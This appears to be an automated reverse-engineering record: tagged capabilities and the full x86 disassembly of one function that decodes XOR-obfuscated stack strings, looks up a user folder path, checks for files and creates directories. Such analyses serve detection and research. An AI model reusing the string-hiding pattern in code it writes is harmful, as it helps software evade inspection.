Function at 0x40f670
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503a0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov dword [ebp - 0x70], ecx
push 0x104
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x24], 0x5e5c697b
xor ecx, ecx
mov dword [ebp - 0x20], 0x6a0d5543
mov dword [ebp - 0x1c], 0x465a434a
mov dword [ebp - 0x18], 0x100445c
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40f6f7
xorps xmm0, xmm0
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f723
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402830
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x190]
lea ecx, [ebp - 0x6c]
call fcn.00469c70
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f78a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f780
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104a5
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp dword [ebp - 0x58], 0x10
lea esi, [ebp - 0x6c]
push 0x536240
cmovae esi, dword [ebp - 0x6c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x4104aa
test esi, esi
je 0x41040b
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f7d0
sub ecx, edx
je 0x41040b
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f809
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f809
cmp eax, 0x20
je 0x40f809
cmp eax, 0x45
je 0x40f809
cmp eax, 0x24
jne 0x41040b
push 0x536240
call fcn.004dc3c4
add esp, 4
mov dword [ebp - 0x34], 0x5e5c697b
mov dword [ebp - 0x30], 0x1005543
xor ecx, ecx
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 6
jb 0x40f826
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f840
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebx + 0x18]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x4104b0
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x34]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x88]
call fcn.0046d850
mov byte [ebp - 4], 4
lea esi, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x88]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x4104b5
test esi, esi
je 0x40f8f1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f8b1
sub ecx, edx
je 0x40f8f1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f8e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f8e2
cmp eax, 0x20
je 0x40f8e2
cmp eax, 0x45
je 0x40f8e2
cmp eax, 0x24
jne 0x40f8f1
push 0x536240
call fcn.004dc3c4
add esp, 4
jmp 0x40f920
push 0x536240
call fcn.004dc3c4
add esp, 4
lea eax, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
cmovae eax, dword [ebp - 0x88]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4103d2
mov dword [ebp - 0x38], 0x4e47617b
xor ecx, ecx
mov dword [ebp - 0x34], 0x4a48544e
mov dword [ebp - 0x30], 0x100726b
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40f937
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f950
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4104bb
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046d850
mov byte [ebp - 4], 5
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x4104c0
test esi, esi
je 0x40f9f4
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f9b3
sub ecx, edx
je 0x40f9f4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f9e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f9e4
cmp eax, 0x20
je 0x40f9e4
cmp eax, 0x45
je 0x40f9e4
cmp eax, 0x24
jne 0x40f9f4
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x11], 1
jmp 0x40fa02
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fa3d
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fa33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104c6
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x40fcab
mov dword [ebp - 0x38], 0x4e47617b
xor ecx, ecx
mov dword [ebp - 0x34], 0x4a48544e
mov dword [ebp - 0x30], 0x100726b
nop
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40fa60
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fa77
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4104cb
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046d850
mov byte [ebp - 4], 6
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x4104d0
test esi, esi
je 0x40fb20
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fae0
sub ecx, edx
je 0x40fb20
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fb11
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fb11
cmp eax, 0x20
je 0x40fb11
cmp eax, 0x45
je 0x40fb11
cmp eax, 0x24
jne 0x40fb20
push 0x536240
call fcn.004dc3c4
add esp, 4
jmp 0x40fb49
push 0x536240
call fcn.004dc3c4
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fc73
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00465e10
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x20], 0x4e47617b
mov dword [ebp - 0x1c], 0x4a48544e
mov dword [ebp - 0x18], 0x100726b
nop dword [eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xa
jb 0x40fb80
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fba0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4104d6
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x20]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046d850
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 6
call fcn.0040f050
add esp, 0x30
test eax, eax
jne 0x40fbf3
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x40fc73
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc18
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402830
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.0040c050
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40fc73
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fc69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104db
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fcab
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fca1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104e0
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov dword [ebp - 0x24], 0x4946647b
xor ecx, ecx
mov dword [ebp - 0x20], 0x7d0d404a
mov dword [ebp - 0x1c], 0x53435f5b
mov dword [ebp - 0x18], 0x1005154
nop dword [eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fcd0
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fce7
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4104e5
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d850
mov byte [ebp - 4], 9
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x4104ea
test esi, esi
je 0x40fd91
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd50
sub ecx, edx
je 0x40fd91
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fd81
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fd81
cmp eax, 0x20
je 0x40fd81
cmp eax, 0x45
je 0x40fd81
cmp eax, 0x24
jne 0x40fd91
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x11], 1
jmp 0x40fd9f
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fdda
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fdd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104f0
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x41005b
mov dword [ebp - 0x24], 0x4946647b
xor ecx, ecx
mov dword [ebp - 0x20], 0x7d0d404a
mov dword [ebp - 0x1c], 0x53435f5b
mov dword [ebp - 0x18], 0x1005154
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fe02
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe20
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4104f5
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d850
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x4104fa
test esi, esi
je 0x40fed0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe90
sub ecx, edx
je 0x40fed0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fec1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fec1
cmp eax, 0x20
je 0x40fec1
cmp eax, 0x45
je 0x40fec1
cmp eax, 0x24
jne 0x40fed0
push 0x536240
call fcn.004dc3c4
add esp, 4
jmp 0x40fef9
push 0x536240
call fcn.004dc3c4
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410023
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00465e10
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x24], 0x4946647b
mov dword [ebp - 0x20], 0x7d0d404a
mov dword [ebp - 0x1c], 0x53435f5b
mov dword [ebp - 0x18], 0x1005154
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40ff30
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff50
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x410500
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046d850
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xa
call fcn.0040f050
add esp, 0x30
test eax, eax
jne 0x40ffa3
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x410023
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ffc8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402830
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xc
call fcn.0040c050
mov byte [ebp - 4], 0xa
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x410023
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410019
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410505
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41005b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410051
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41050a
push ecx
push edx
call fcn.004dd0b2
add esp, 8
movaps xmm0, xmmword [0x525f80]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
nop
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410070
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410087
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x41050f
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d850
mov byte [ebp - 4], 0xd
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x410514
test esi, esi
je 0x410131
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4100f0
sub ecx, edx
je 0x410131
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410121
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410121
cmp eax, 0x20
je 0x410121
cmp eax, 0x45
je 0x410121
cmp eax, 0x24
jne 0x410131
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x11], 1
jmp 0x41013f
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41017a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410170
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41051a
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x4103d2
movaps xmm0, xmmword [0x525f80]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x410197
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4101b0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x41051f
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046d850
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x536240
cmovae esi, dword [ebp - 0x54]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x410524
test esi, esi
je 0x410260
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410220
sub ecx, edx
je 0x410260
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410251
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410251
cmp eax, 0x20
je 0x410251
cmp eax, 0x45
je 0x410251
cmp eax, 0x24
jne 0x410260
push 0x536240
call fcn.004dc3c4
add esp, 4
jmp 0x410289
push 0x536240
call fcn.004dc3c4
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41039e
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00465e10
mov byte [ebp - 4], 0xf
xor ecx, ecx
movaps xmm0, xmmword [0x525f80]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x4102b5
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4102d4
sub ecx, edx
mov edx, dword [ebp - 0x5c]
sub edi, edx
cmp edi, ecx
jb 0x41052a
cmp dword [ebp - 0x58], 0x10
lea edi, [ebp - 0x26]
push ecx
push edi
push edx
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046d850
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xe
call fcn.0040f050
add esp, 0x30
test eax, eax
jne 0x410322
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x41039e
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410347
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402830
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x10
call fcn.0040c050
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x41039e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410394
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41052f
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4103d2
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4103c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410534
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x410418
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4103ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410539
push ecx
push edx
call fcn.004dd0b2
add esp, 8
jmp 0x410418
push 0x536240
call fcn.004dc3c4
add esp, 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41044c
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410442
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41053e
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0x10
jb 0x410492
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410488
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41053e
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2350
push eax
call fcn.004dc05c
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.004e2350
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.00402040
call fcn.004e2350
call fcn.004e2350
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.004e2350
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.00402040
call fcn.004e2350
call fcn.004e2350
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.004e2350
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.00402040
call fcn.004e2350
call fcn.004e2350
call fcn.004e2350
call fcn.004e2350
int3